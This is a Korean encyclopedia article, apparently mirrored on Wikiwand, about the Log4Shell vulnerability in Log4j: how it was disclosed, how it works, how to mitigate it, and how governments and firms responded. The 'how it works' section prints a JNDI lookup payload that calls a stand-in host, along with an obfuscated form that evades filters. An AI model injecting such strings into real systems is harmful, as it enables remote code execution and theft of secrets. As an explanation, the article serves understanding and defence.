상위 질문
타임라인
채팅
관점

Log4Shell

위키백과, 무료 백과사전

Remove ads

Log4Shell 또는 CVE-2021-44228는 저명한 자바 로깅 프레임워크 Log4j제로 데이 임의 코드 실행 취약점이다.[2][3] 이 취약점은 알리바바의 클라우드 보안팀에 의해 2021년 11월 24일 아파치에 비공개로 전달되었으며 2021년 12월 9일 대중에게 공개되었다.[1][4][5]

간략 정보 CVE 식별자, 발견일 ...

이 취약점은 LDAPJNDI 요청을 검사하지 않는 Log4j의 특징을 이용하여,[6][2][7] 공격자가 임의의 자바 코드를 서버 또는 기타 컴퓨터에서 실행할 수 있게 한다.[5] 영향을 받는 서비스에는 아마존 AWS,[8] 클라우드플레어, 아이클라우드, 마인크래프트 자바 에디션,[9] 스팀, 텐센트 QQ가 포함된다.[6][10] 루나섹(LunaSec)은 이 취약점을 "파멸적 부분의 설계적 실패"[5]로, Tenable은 "지난 10년 이내의 가장 심각한, 단일로서는 최대의 취약점"으로 특징을 지었다.[11] Log4j 프로젝트를 맡는 아파치 소프트웨어 재단은 Log4Shell에 CVSS 점수 최고점인 10점을 부여하였다.[12]

Remove ads

배경

Log4j는 소프트웨어 개발자가 자신의 애플리케이션 안에 다양한 데이터의 로그 기록을 남길 수 있게 하는 오픈 소스 로깅 프레임워크이다. 이 데이터는 사용자 입력을 포함할 수도 있다.[13] 자바 애플리케이션, 특히 기업용 소프트웨어 전반에 사용된다.[5] 2001년 Ceki Gülcü가 처음 개발한 Log4j는 현재 아파치 소프트웨어 재단 프로젝트의 하나인 아파치 로깅 서비스의 일부이다.[14]

동작

JNDI는 프로그램 런타임 시 지정된 데이터 경로의 자바 오브젝트 검색을 허용한다. JNDI는 여러 디렉터리 인터페이스를 지렛대처럼 활용할 수 있으며 각 인터페이스는 각기 다른 파일 검색 스킴을 제공한다. 이 인터페이스들 중에는 자바로 개발되지 않은 프로토콜의 하나인 LDAP이 있으며[15] 이는 로컬이든 인터넷 어느 곳에서든 적절한 서버로부터 오브젝트 데이터를 URL로 받아온다.[16]

기본 구성에서 문자열 로그를 기록할 때 Log4j 2는 ${prefix:name} 형태의 식에 문자열 치환을 수행한다.[16] 예를 들어, Text: ${java:version}Text: Java version 1.7.0_67로 변환될 수 있다.[17] 인식되는 식들 중에 ${jndi:<lookup>}가 있다. LDAP을 통해 lookup을 지정함으로써 임의의 URL을 조회하고 자바 오브젝트 데이터로 로드할 수 있다. 예를 들어 ${jndi:ldap://example.com/file}는 인터넷에 연결되어 있다면 해당 URL로부터 데이터를 로드하게 된다. 로깅이 되는 문자열을 입력함으로써 공격자는 퍼블릭 URL에서 호스팅되는 악성 코드를 로드하고 실행할 수 있다.[16] 데이터의 실행을 비활성화해 놓았더라도 공격자는 여전히 기밀 환경 변수 등의 데이터를 (URL 배치를 통해) 받아올 수 있으며 여기서 치환을 거쳐 공격자의 서버로 송신할 수 있다.[18][19]

HTTP 요청이 자주 로깅되기 때문에 공통 공격 벡터는 악성 문자열을 HTTP 요청 URL이나 흔히 로깅되는 HTTP 헤더(예: User-Agent)에 배치시킨다. 초기의 완화 방법에는 "${jndi" 등의 잠재적으로 악성일 가능성이 높은 콘텐츠를 포함하는 모든 요청을 차단하는 것이 포함되었다.[20] 아무렇지 않게 수행한 검색은 요청을 모호하게 만듦으로써 우회가 가능하다: 예를 들어 ${${lower:j}ndi는 문자 j에 소문자 처리를 수행한 이후 JNDI 룩업으로 변환된다.[21] 입력이 즉시 로깅되지 않더라도 나중에 내부 처리 중에 로깅한 다음에 콘텐츠의 실행이 가능할 수 있다.[16]

Remove ads

완화

이 취약점의 픽스가 취약점이 공표되기 3일 전 2021년 12월 6일 Log4j 버전 2.15.0-rc1에서 출시되었다.[22] 이 픽스에는 여러 시스템 속성을 사용하여 구성이 가능한 룩업(lookup)에 사용될 수 있는 서버와 프로토콜을 제한하는 것이 포함되었다. 이는 log4j2.formatMsgNoLookups 시스템 속성을 대체하였다. 2.10.0 이후의 과거 버전에서는 취약점을 완화하는데 해당 속성을 true로 설정하는 것이 권장된다.[23][7][12] 2.10.0 이전 버전의 경우 org.apache.logging.log4j.core.lookup.JndiLookup 클래스를 클래스패스에서 제거해야 한다.[12]

게다가 JNDI를 사용하는 모든 기능은 2.15.1 이상부터 기본적으로 비활성화된다.[24]

새 버전의 자바 런타임 환경(JRE) 또한 원격 코드의 로드를 기본적으로 차단함으로써 이 취약점을 완화시킨다. 다만 다른 공격 벡터가 여전히 특정 애플리케이션에 존재한다.[18][2][25] 내장된 자바 패키지에서 취약한 log4j 버전의 이용을 검출하는데 도움을 주는 여러 방식과 도구가 게시되었다.[26]

반응과 영향

미국에서 사이버보안 및 인프라 보안국(CISA)의 감독 젠 이스털리(Jen Easterly)는 이 취약점을 심각한 것으로 보고 벤더들에게 소프트웨어 업데이트를 우선할 것을 충고했다.[27] 캐나다 사이버 보안 센터(CCCS)는 단체들에게 즉각적인 조치를 취할 것을 주문했다.[28] 독일의 연방정보기술보안청(Bundesamt für Sicherheit in der Informationstechnik, BSI)은 이 취약점을 기관 최고의 위협 수준으로 지정하였고 이를 "극히 심각한 위협적 상황"으로 언급하였다. 여러 공격들이 이미 성공적이었음이 밝혀졌고 취약점의 정도가 조사하기 힘든 상황이라고 보고되었다.[29][30]

클라우드플레어의 CEO 매튜 프린스(Matthew Prince)에 따르면 이 취약점의 이용과 테스트의 증거가 적어도 12월 1일로 거슬러 올라가며 이는 취약점이 공개된지 9일 앞선 것이다.[31] 사이버보안 기업 그레이노이즈에 따르면 여러 IP 주소들이 웹사이트들을 스크랩하여 취약점이 있는 서버를 물색하였다.[32] 캐나다 국세청은 취약점을 이해한 뒤 일시적으로 온라인 서비스를 종료하였고 퀘벡 정부는 예방 조치의 일환으로서 정부 웹사이트 중 약 4,000개를 폐쇄하였다.[33]

시스템 관리자들은 이 상황을 조사하고 라이브러리를 업데이트하거나 시스템 속성을 이용하는 룩업을 비활성화함으로써 가능한 조속히 완화 조치를 단행할 것을 충고받았다.[34]

Remove ads

각주

Loading content...

외부 링크

Loading related searches...

Wikiwand - on

Seamless Wikipedia browsing. On steroids.

Remove ads